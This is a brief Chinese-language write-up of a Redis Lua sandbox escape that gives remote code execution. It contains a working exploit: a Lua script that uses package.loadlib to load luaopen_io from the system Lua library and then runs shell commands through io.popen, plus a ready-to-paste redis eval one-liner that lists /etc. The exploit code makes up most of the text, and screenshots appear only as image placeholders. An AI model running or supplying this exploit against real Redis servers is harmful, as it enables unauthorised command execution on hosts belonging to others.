Redis 沙盒逃逸漏洞(redis的远程代码执行漏洞)

我们借助Lua沙箱中遗留的变量package的loadlib函数来加载动态链接库/usr/lib/x86_64-linux-gnu/liblua5.1.so.0里的导出函数luaopen_io。在Lua中执行这个导出函数,即可获得io库,再使用其执行命令:

  1. local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io");
  2. local io = io_l();
  3. local f = io.popen("id", "r");
  4. local res = f:read("*a");
  5. f:close();
  6. return res

连接redis,使用eval命令执行上述脚本

  1. eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("ls /etc/", "r"); local res = f:read("*a"); f:close(); return res' 0

执行命令

image.png

成功执行

image.png
image.png
image.png